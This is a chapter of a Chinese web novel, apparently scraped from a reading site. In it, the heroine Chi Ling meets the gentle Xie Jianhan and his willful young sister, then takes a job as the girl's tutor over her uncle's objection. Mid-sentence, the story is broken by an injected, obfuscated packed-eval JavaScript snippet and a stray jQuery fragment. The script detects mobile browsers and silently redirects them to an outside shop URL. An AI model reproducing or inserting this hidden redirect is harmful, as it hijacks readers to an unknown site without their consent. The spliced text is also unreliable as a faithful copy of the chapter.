A城中心地段的某块地皮,几乎都是私密性极强的独栋别墅,还拥有顶尖的独立天气调控系统,常年恒温舒适,一切阴晴风雨被隔绝在外。
池菱终于来到了猫主人的家,刚踏进门,猫箱被佣人接过带走。
一道温润如玉的声音从正前方传来。
“你们好,我叫谢见寒,很感谢你们救了我的猫。”
池菱闻声望去。
高挑的青年脸上带笑,乌黑长发低低束着,完美结合东西方的优越长相,衬得那件毛呢质地的灰色上衣都清贵起来。
谢见寒。
那个和段成墨通话的人。
池菱原本以为,叔叔的同学会是像他那样冷酷的人,没想到,谢见寒看起来极为儒雅温柔。
与环境格格不入的书卷气息,更像是个刚走出校园、涉世未深的大学生。
但不知为何,她总觉得,他应该不是猫的主人。
可能是因为那衣服会粘毛吧。
池菱迟疑了下,才礼貌道:“你好,可以叫我池菱。”
几句简单的寒暄过后,他们被邀请着到会客厅落座。段成墨尽显冷酷气质,全程一言不发,但可以看出,他的姿态放松了些许。
看来他与谢见寒的关系要比高中同学熟一点。
池菱垂眸打量着玫瑰花样的茶具,片刻后,对面的青年突然笑着开口:“这是我刚泡好的花茶,尝尝看吧。”
谢见寒似乎真心欢迎他们,一旁还备着搭配茶饮的饼干,池菱对上他的视线,甚至能看见他眼中热络的期待。
她端起茶杯抿了一口,浓浓的玫瑰香气在口齿间漫延。
“谢谢,您的手艺很好,很好喝。”
听到她的夸奖,谢见寒竟露出了些腼腆来:“太客气了,是我要谢谢你们才对,你们救了我的猫,有什么想要的吗?尽管开口就好。”
他含笑望着池菱,黑色的眼睛里只有温柔。
段成墨也同样看着她,目光却藏着几分好奇与期许。
作为长辈,满足孩子愿望是必要的,也是种促进亲子关系的手段。他想,自己一直缺少了解池菱的机会,正好借此机会知道她的需求。
池菱认真思考后,垂了垂眼眸:“我想——”
“哥哥。”
忽然,清脆的孩童声打断了她的话语。
楼梯处,小女孩的步子很快,紧随其后的佣人抱着猫箱,压低声音连连叮嘱着“小姐慢点”“小姐小心”之类的话。
跑下来后,“咚”的一声闷响。
猫箱被她搁置在地上。
“知暖,太没礼貌了。”
谢见寒皱着眉头道。
说完,他又连忙看向众人,秀气的脸上满是无奈:“不好意思,这是我的妹妹,她年龄小不懂事,还请见谅。”
谢知暖没有搭理,她迫不及待地蹲下,凑到猫咪旁边,目光流露着天真的心疼,稚嫩的面容只有七八岁的样子。
看来谢见寒没有骗人,不像某些眼瞎的,儿子都三四十岁了,还说他是个不懂事的孩子。
思索间,波斯猫发出几声亲昵的猫叫,池菱看着它的蓝眼睛,忽然生出一个猜测——谢知暖才是猫真正的主人。
但猫明明已经受伤了,为什么还要被带到一楼来呢。
池菱实在无法理解这样做的原因,她只是看着这一切,没有开口。
“知暖。”谢见寒显然不太高兴,语气却仍是温柔地提醒:“这个时间,你应该在上课。”
“他被我赶走了。”小女孩眼中的担忧收了回去,兴致缺缺地站起身:“我不喜欢他,他讲话的声音太难听了,胆子也小,简直像个脏兮兮的小老鼠。”
话音落下,谢见寒眉头蹙得更深。
他前几日才为谢知暖挑选了家教老师,对方是名校的大学生,亲自面试时,穿着干净,谈吐有度,根本不是她说的那样。
但面对孩童的夸大其词,谢见寒也没有过多深究,他拉着谢知暖的手,将她带到众人面前:“是姐姐哥哥们把小猫救回来的,知暖,要说谢谢。”
“姐姐……?”
谢知暖这才像是后知后觉一般,终于将注意力从猫咪挪开。
目光落在池菱身上时,眼中突然又充满了兴趣,正如方才蹲在小猫旁边时的那样。
她甩开谢见寒的手,跑过去牵起池菱,满心欢喜道:“哥哥,我要她当我的老师。”
“谢知暖!”谢见寒惯常斯文的脸上此刻也有了些很轻的怒意:“回房间写作业。”
佣人见状立马上前,小心翼翼地将尊贵的小姐扯开,并带她回到楼上。
动作之迅速,显然已经应对过很多次,才会这般熟练。
这场闹剧发生得太过突然。
池菱还没反应过来,谢见寒又对她微笑道:“实在不好意思,我会好好教育她的,你可以继续说你想要的东西了。”
他再次恢复了那种纯净无害的气质,和谢知暖实在太不相似了,完全无法让人将两人联系起来。
池菱又饮了口茶,看见茶汤里映出的眼睛,里面也有几分无害。
她抬起头,微微笑着:“谢先生,我想要……当您妹妹的家教老师。”
虽然从未有过教书经历,但学校经常有同学会问她题目,每次讲完,她们都会说她讲得很好,以后可以去当老师。
但这并不是池菱这样说的主要原因。
谢见寒是个善良的人,或许,会答应她这个不太礼貌的请求。
池菱急需一份工作。
谢见寒有些惊讶地睁大眼睛,几秒后,嘴角翘了起来:“当然可以。”
“不行。”
沉冷的嗓音打断了两人的对话。
段成墨的眉眼冷硬凌厉:“池菱,你可以提其他要求,但是这个不行。”
池菱眸光闪烁着不解:“为什么,叔叔,不是你带我来的吗?”
原本静坐的男人突然站起身,走到池菱身前,摘了手套的手包裹着她的,粗砺的指腹带来轻微的痒。
段成墨沉眸看着眼前的小姑娘,深深呼了口气,道:“回去吧,你想要什么,跟我说就够了。”
常年身居高位的男人,习惯使用命令的语气,再加上眼神和动作的压迫感都极强,差点让池菱以为自己是他的下属,下意识就要顺从答应。
但转念一想,段成墨又实在像那种典型的大家长,自顾自地替孩子做好了选择,却从不愿意解释原因。
池菱仿佛血管里就写着“反骨”两个字,隐隐生出想要挑战权威的念头。
事实上,她也这样做了,只是方式不太有骨气。
池菱蹙起秀气的眉,漂亮的脸上流露几分生气,紧接着是失落:“你是不是觉得我不够资格,还是说,觉得我别有所图,但无论你怎么想,我只是想为自己争取一份工作……要是爸爸在的话就好了,他一定会为我感到高兴。”
她很少卖惨,拿不准尺度,只知道仰着小脸,用大而明亮的黑色瞳仁看人,粉嫩的唇无助地抿着,又垂下眼睫,像是只被雨淋湿的小狗。
段成墨的思绪停了一瞬,下意识道:“不是的……我不是这个意思。”
察觉到他态度的松动,池菱想,深情好女儿人设果然很有效果。
她继续给他上眼药:“叔叔,我不怪你,毕竟你没有义务像爸爸那样对我,我只是……有些伤心罢了。”
轻飘飘的的一句话,却让段成墨黑眸里的躁郁瞬间消失。
他话音很轻,甚至带上了歉意:“对不起,池菱。我应该尊重你的选择,但我从来没有看不起你,在我心里,你一直是个很好的孩子。”
但很可惜,段成墨的声音愈发卡顿,已经无法再说出更多。
他头一回认识到自己的错误。
他和池菱隔着年龄与阅历
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653948|205322||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的代沟,或许,他需要重新学习如何当一位叔叔,或者说……一位父亲。
段成墨很少陷入这种茫然的时候,他沉思的时间太久,池菱趁他没回过神来,成功跟谢见寒上了二楼签合同。
书房的布置很是温馨。
花瓶中的鲜花错落有致,完美诠释了什么叫做插花的艺术,书架摆满各类书籍,甚至有很多无法登上成功人士必看榜的通俗读物。
尤其墙面的几幅画作,文艺气息十分之浓郁。
但还是比不上坐在她面前的男人。
不过片刻,秘书拟好的合同通过打印机传来,谢见寒摆放在桌案上,池菱却望着一旁的相框出神。
照片里,长发青年眼中是温柔的笑意,他身穿义工服,手里握着画笔,周围簇拥着一群孩子,正在向他学习怎么画画。
那件义工服上印着的志愿组织标识,核心主张是兼爱,无阶级的爱,以及关爱儿童。
这个组织的创始人十分低调神秘,创立多年来,除了出生于下城区外,从未泄露过其他身份信息。
池菱之所以如此熟悉,是因为妈妈给她的大部分钱,都被她捐给了这个组织。
“很意外吗?”
见女孩安静许久,谢见寒突然开口。
他看着池菱,眼神几乎和照片里的相同,又道:“那些孩子是自闭症患者,一开始十分抗拒与人接触,也不肯靠近我。后来我给他们每个人都画了一幅画,他们便愿意跟我聊天和学习了。”
池菱讶异道:“谢先生还会画画?”
谢见寒有些羞涩:“嗯,我的本职是一名美术老师。”
老师。
池菱搭在合同上的指节动了下,忽然觉得,自己在他面前说要当家教老师的时候,颇有几分关公面前耍大刀的意思。
但耍都耍了。
池菱压下心中那点难为情,低下头,逐字逐句地翻看面前的聘用合同。
如同旋律般的声音缓缓响起。
“知暖的学习情况我晚些会发到你邮箱,你主要辅导她的外语,她平时虽然比较顽皮,但佣人会全程监督她,而且她很喜欢你,你不用担心会发生今天的情况。”
“上课时间安排在你空闲的周末,来和不来都记得提前联络我,我会派人去接送你。”
“对了,你可能偶尔需要陪她去遛猫,当然,这是另外的价钱。”
谢见寒交代完这些,池菱没有立即回复,仍在认真地浏览合同。
时间过去不知道多久,她终于看完了。很人性化的合同,尤其是工资。
池菱爽快签下名字,才轻声回答:“谢先生,刚刚那些我知道了,还有什么要注意的吗?”
谢见寒思考几秒:“有。”
他弯了弯眼睛:“还有一点,你不用叫我谢先生,可以叫我老师,或者……像喊成墨那样喊我叔叔。”
池菱依旧爽快:“好的,老师。”
谢见寒对此毫不意外,声音柔和道:“你有什么喜欢吃的吗?时候不早了,你们可以留下来吃饭。”
他的话似乎有种魔力,方才奔波大半天,池菱都没觉得饿,经由他这么一说,却突然感到些饥肠辘辘。
即便如此,她也只是道:“不用了,老师。”
谢见寒轻轻颔首,他抬起手,似乎想要摸池菱的头,最后却温柔拍了下她的肩:“好孩子。”
他顿了顿,突然无奈叹气:“我很喜欢和你聊天,但成墨似乎把我当做了坏人,他很担心你的安危,从十分钟前开始,就一直给我发来信息,现在——他已经在门口等你了。”
池菱面露几分疑问。
她望向紧闭的房门,也无奈地叹了口气。
唉,看来叔叔回过神来了。
不过没有直接进来,像逮捕逃犯那般挟持她,只是站在门口发信息,或许也已经是种进步了。
池菱保持乐观地想。